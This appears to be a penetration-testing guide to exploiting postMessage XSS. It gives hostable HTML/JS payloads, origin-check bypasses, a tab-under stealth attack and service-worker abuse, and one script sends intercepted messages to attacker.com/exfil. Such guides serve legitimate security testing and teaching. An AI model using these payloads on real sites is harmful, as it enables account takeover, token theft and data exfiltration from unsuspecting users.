postMessage XSS
| CWE | CWE-79, CWE-345 |
| Tools | dalfox |
| Difficulty | 🔴 advanced |
Exploit postMessage XSS​
postMessage XSS occurs when a window receives cross-origin messages via window.postMessage() and processes the message data unsafely — writing it to the DOM, passing it to eval(), or using it to navigate. The attacker hosts a page that opens or iframes the target and sends a crafted message.
Technical flow:
- Target page registers a
messageevent listener - Listener processes
event.datawithout validatingevent.originor sanitizing the data - Attacker page opens/iframes the target and calls
targetWindow.postMessage(payload, '*') - Target's listener writes the payload to a dangerous sink, triggering XSS
Find postMessage Listeners​
Search the target's JavaScript for message event listeners:
// In browser DevTools console:
getEventListeners(window).message
// Or use Sources tab > Global Listeners > filter "message"
// Set breakpoints on DOMWindow.message to inspect data flow
Search source code for:
window.addEventListener("message", ...)
window.onmessage = ...
$(window).on("message", ...)
Automated discovery:
# Search all JS files for postMessage handlers
curl -s https://target.com | grep -oE 'src="[^"]*\.js"' | while read -r src; do
url=$(echo "$src" | sed 's/src="//;s/"//')
curl -s "https://target.com/$url" | grep -n "addEventListener.*message\|onmessage\|\.on.*message"
done
Also check for listeners in:
- Third-party widgets (chat, analytics, social embeds, accessibility overlays)
- OAuth/SSO callback pages and popup windows
- Payment/checkout iframes
- Cross-domain iframe communication (SDK bridges, micro-frontends)
- Service workers that handle
messageevents
Analyze the Listener​
Once you find a listener, determine:
- Does it validate
event.origin?
// Vulnerable — no origin check
window.addEventListener("message", function(e) {
document.getElementById("output").innerHTML = e.data;
});
// Vulnerable — weak origin check (substring match)
window.addEventListener("message", function(e) {
if (e.origin.indexOf("trusted.com") !== -1) { // Bypassed by evil-trusted.com
eval(e.data);
}
});
// Vulnerable — regex without anchoring
window.addEventListener("message", function(e) {
if (/trusted\.com/.test(e.origin)) { // Bypassed by trusted.com.evil.com
document.write(e.data);
}
});
// Vulnerable — checks event.source instead of event.origin
window.addEventListener("message", function(e) {
if (e.source === trustedWindow) { // Can be spoofed via iframe hijacking
eval(e.data);
}
});
// Secure — strict origin comparison
window.addEventListener("message", function(e) {
if (e.origin !== "https://trusted.com") return;
// ... safe processing
});
- What does it do with
event.data?
Dangerous sinks:
element.innerHTML = e.datadocument.write(e.data)eval(e.data)/Function(e.data)()setTimeout(e.data)/setInterval(e.data)location.href = e.data/location.assign(e.data)$.html(e.data)/ jQuery DOM insertion — jQuery auto-evaluates HTML tagselement.insertAdjacentHTML("beforeend", e.data)
- What type is
event.data?
postMessage uses the Structured Clone Algorithm, which preserves types that JSON.stringify loses — objects, arrays, ArrayBuffers, Error objects, RegExp, Date, Map, Set. Check if the listener parses JSON and accesses nested properties that reach sinks:
// Vulnerable — object property reaches innerHTML
window.addEventListener("message", function(e) {
var msg = JSON.parse(e.data);
if (msg.type === "update") {
document.getElementById("content").innerHTML = msg.html;
}
});
Structured Clone Algorithm Gadgets​
The Structured Clone Algorithm enables type confusion attacks beyond simple strings:
Array-to-string coercion:
// Attacker sends an array via postMessage:
targetWindow.postMessage(["alert(origin)"], '*');
// If handler does: setTimeout(message.data, 0)
// Array.toString() joins elements, producing executable string "alert(origin)"
Error object bypass:
// Error objects bypass escapeHtml() functions that check hasOwnProperty
// because Error objects lack hasOwnProperty, so the function overwrites
// properties rather than creating escaped copies
var payload = new Error();
payload.message = '<img src=x onerror=alert(1)>';
targetWindow.postMessage(payload, '*');
Constructor chain access:
// Objects with specific property names can access Function constructor
// through prototype traversal in vulnerable handlers
targetWindow.postMessage({category: "constructor", name: "constructor"}, '*');
Exploitation Payloads​
Basic — no origin check, innerHTML sink:
<!-- Host this on attacker.com -->
<iframe src="https://target.com/vulnerable-page" id="target"></iframe>
<script>
document.getElementById("target").onload = function() {
this.contentWindow.postMessage(
'<img src=x onerror=alert(document.domain)>',
'*'
);
};
</script>
Object payload — JSON-parsed listener:
<iframe src="https://target.com/page" id="target"></iframe>
<script>
document.getElementById("target").onload = function() {
this.contentWindow.postMessage(
JSON.stringify({
type: "update",
html: '<img src=x onerror=alert(document.domain)>'
}),
'*'
);
};
</script>
Using window.open instead of iframe (bypasses X-Frame-Options):
<script>
var w = window.open("https://target.com/vulnerable-page");
setTimeout(function() {
w.postMessage('<script>alert(document.domain)<\/script>', '*');
}, 2000); // Wait for page to load
</script>
eval() sink — direct code execution:
<iframe src="https://target.com/page" id="target"></iframe>
<script>
document.getElementById("target").onload = function() {
this.contentWindow.postMessage('alert(document.domain)', '*');
};
</script>
Location sink — open redirect or javascript: execution:
<iframe src="https://target.com/page" id="target"></iframe>
<script>
document.getElementById("target").onload = function() {
this.contentWindow.postMessage('javascript:alert(document.domain)', '*');
};
</script>
Tab-under stealth attack (victim never sees the target page):
<script>
// 1. Victim visits attacker site and clicks something
document.onclick = function() {
// 2. Open a new attacker tab (gains focus)
var newTab = window.open("https://attacker.com/decoy");
// 3. Original tab navigates to vulnerable target (victim doesn't see it)
location = "https://target.com/vulnerable-page";
// 4. New tab sends postMessage to opener (the target page)
// The newTab page contains:
// setTimeout(() => opener.postMessage('payload', '*'), 2000);
};
</script>
Bypass Origin Checks​
| Validation Method | Bypass | Example |
|---|---|---|
e.origin.indexOf("trusted.com") > -1 | Substring match | https://evil-trusted.com or https://trusted.com.evil.com |
e.origin.endsWith("trusted.com") | Suffix match | https://malicious-websitetrusted.com |
e.origin.startsWith("https://trusted.com") | Prefix + subdomain | https://trusted.com.evil.com |
/trusted\.com/.test(e.origin) | Unanchored regex (. = any char) | https://trustedXcom.evil.com |
Missing $ anchor in regex | Prefix-only check | https://trusted.com.evil.com/path |
e.origin.search("trusted.com") | Regex metachar | https://trustedXcom.evil.com |
Null origin exploitation:
<!-- Sandboxed iframe sends origin "null" -->
<iframe sandbox="allow-scripts allow-popups" srcdoc="
<script>
// If target checks: e.origin == window.origin
// Both are 'null' inside a sandbox, so check passes
parent.postMessage('payload', '*');
</script>
"></iframe>
Advanced null origin: open a popup from inside the sandboxed iframe — the popup also has null origin but runs in the target's context.
event.source nullification:
// Send a message where event.source is null (bypasses source-based checks)
function postMessageNoSource(targetWindow, data) {
var iframe = document.createElement("iframe");
iframe.srcdoc = '<script>parent.opener.postMessage(' + JSON.stringify(data) + ', "*")<\/script>';
document.body.appendChild(iframe);
setTimeout(function() { iframe.remove(); }, 0); // source becomes null before handler runs
}
Protocol downgrade:
// If check only validates domain, not protocol:
// https://target.com accepts messages from http://target.com
// MITM on HTTP can inject attacker scripts
Window name hijacking:
If the window name used in window.open() is predictable, pre-create a window with that name. When the target opens its window, it reuses the attacker's existing window, and postMessages intended for the legitimate window go to the attacker.
Steal Data via postMessage​
Wildcard targetOrigin — the reverse scenario:
// If the target itself sends sensitive data with targetOrigin '*':
window.parent.postMessage(sensitiveData, '*');
// Any page that iframes the target receives the data
Intercept outbound messages:
<!-- Listen for messages the target sends back -->
<iframe src="https://target.com/page" id="target"></iframe>
<script>
window.addEventListener("message", function(e) {
// Capture any data the target leaks
fetch('https://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify({origin: e.origin, data: e.data})
});
});
// Trigger the target to send data
document.getElementById("target").onload = function() {
this.contentWindow.postMessage({action: "getData"}, '*');
};
</script>
Common Vulnerable Patterns​
OAuth popup callback:
// OAuth flow: popup sends token back to opener
// Vulnerable if targetOrigin is '*'
window.opener.postMessage({token: accessToken}, '*');
// Attacker: open the OAuth page, receive the token
PortSwigger documented a technique combining redirect_uri path traversal with postMessage: the OAuth flow redirects into a page that broadcasts window.location.href (containing the access token in the URL fragment) via postMessage(window.location.href, '*').
Third-party widget vulnerabilities (real-world examples):
| Widget | Impact | Technique |
|---|---|---|
| AddThis (1M+ sites) | XSS | No origin check; at-share-bookmarklet: prefix triggered dynamic script loading from attacker domain |
| Gartner Peer Insights (24+ orgs) | XSS | indexOf('gartner.com') bypass; data injected via innerHTML |
| EqualWeb Accessibility (Fiverr, Zara, AVIS) | XSS | Zero origin validation; data passed to jQuery which auto-evaluates HTML |
| Chatwoot (CVE-2025-12245) | Token theft | No origin check in IFrameHelper.js; forged popoutChatWindow message steals cw_conversation token |
SDK/widget bridge:
// Third-party widget communicates with parent via postMessage
// Often lacks origin validation because it's designed to work on any domain
window.addEventListener("message", function(e) {
if (e.data.action === "resize") {
document.getElementById("widget").style.height = e.data.height;
// What if e.data.height is: "100px; position:fixed" (CSS injection)
// Or the widget has other actions that reach dangerous sinks
}
});
Cross-domain iframe communication:
// SPA communicates with iframe on different subdomain
window.addEventListener("message", function(e) {
if (e.data.command === "navigate") {
window.location = e.data.url; // Open redirect or javascript: XSS
}
});
Service Worker Exploitation​
If the target registers a service worker that handles message events:
// Attacker with postMessage access to the page can communicate with
// the registered service worker to:
// 1. Craft forged push notifications linked to phishing sites
// 2. Sniff user subscription states and browsing interests
// 3. Force unsubscription from legitimate push services
// Service workers persist and can activate push notifications
// even when the browser is closed
navigator.serviceWorker.controller.postMessage({
type: "push",
payload: {title: "Security Alert", url: "https://attacker.com/phish"}
});
Chaining postMessage with Other Vulnerabilities​
postMessage + CSRF: postMessage XSS executes in the victim's authenticated session. The XSS triggers state-changing requests, effectively bypassing CSRF tokens since the request originates from the legitimate domain.
postMessage + Clickjacking: Clickjack the postMessage-vulnerable page to satisfy any user-gesture requirements, then exploit the postMessage handler.
postMessage + Prototype Pollution: HTML injection via postMessage enables DOM clobbering, which feeds into prototype pollution of jQuery gadgets, achieving full XSS from limited injection.
XSS → postMessage → Service Worker persistence: XSS used to register a malicious service worker that persists beyond the XSS session, intercepts all future network requests, and can activate push notifications even when the browser is closed.
Tools​
| Tool | Purpose |
|---|---|
PMForce (mariussteffens/pmforce) | Uses Z3 constraint solver + forced execution to auto-generate exploit postMessages. Found 252 vulnerable handlers in top 100K sites. Academic tool (ACM CCS 2020). |
FrogPost (thisis0xczar/FrogPost) | Chrome extension with static + dynamic analysis. Optional AI integration (GPT-4o/Claude/Gemini). Detects missing origin validation, unsafe DOM ops, prototype pollution. Auto-pilot mode. |
Posta (benso-io/posta) | Chrome extension that tracks, replays, and modifies postMessage traffic. Built-in exploit sandbox. Visualizes iframe communication trees. |
| Burp DOM Invader | Monitors postMessage traffic, identifies handlers, injects canary XSS payloads automatically. |
postMessage-Tracker (nickvdp/postMessage-tracker) | Chrome extension that logs all cross-origin messages with origin inspection. |
CRX postMessage Scanner (Raz0r/crx-postmessage-scanner) | Finds message listeners specifically in Chrome extension content scripts. |
CodeQL js-missing-origin-check | Static analysis query for detecting missing origin verification in postMessage handlers. |
Proxy Object instrumentation (advanced): Override addEventListener and wrap event.data in a recursive JavaScript Proxy to automatically track every nested property access path. Use the collected paths to generate targeted payloads. More effective than blind fuzzing for complex handlers with multiple encoding layers (base64, XML, JSON).
Test Methodology​
- Find all message listeners — search JS source for
addEventListener("message",onmessage, jQuery.on("message"). Use FrogPost or Posta for automated discovery. - Check origin validation — no check, substring/indexOf, regex without anchors, endsWith, startsWith, or strict comparison. Refer to the bypass table above.
- Trace data flow — follow
event.datafrom the listener to any dangerous sink. Use Proxy Object instrumentation for complex handlers. - Check the reverse — does the target call
postMessage(sensitiveData, '*')? Data leakage. - Identify third-party widgets — AddThis, Gartner, EqualWeb, Chatwoot, accessibility overlays, chat widgets. These frequently have weak or missing origin checks.
- Check OAuth flows — look for popup windows that send tokens via postMessage with wildcard targetOrigin.
- Check service workers — look for service worker registrations that handle
messageevents. - Test null origin — use sandboxed iframe with
allow-scripts allow-popupsto send messages withnullorigin. - Build PoC — host an HTML page on a different origin that sends the crafted message.
- Test with iframe AND window.open — some pages block framing via X-Frame-Options but can still be opened in a new window. Try the tab-under technique for stealth exploitation.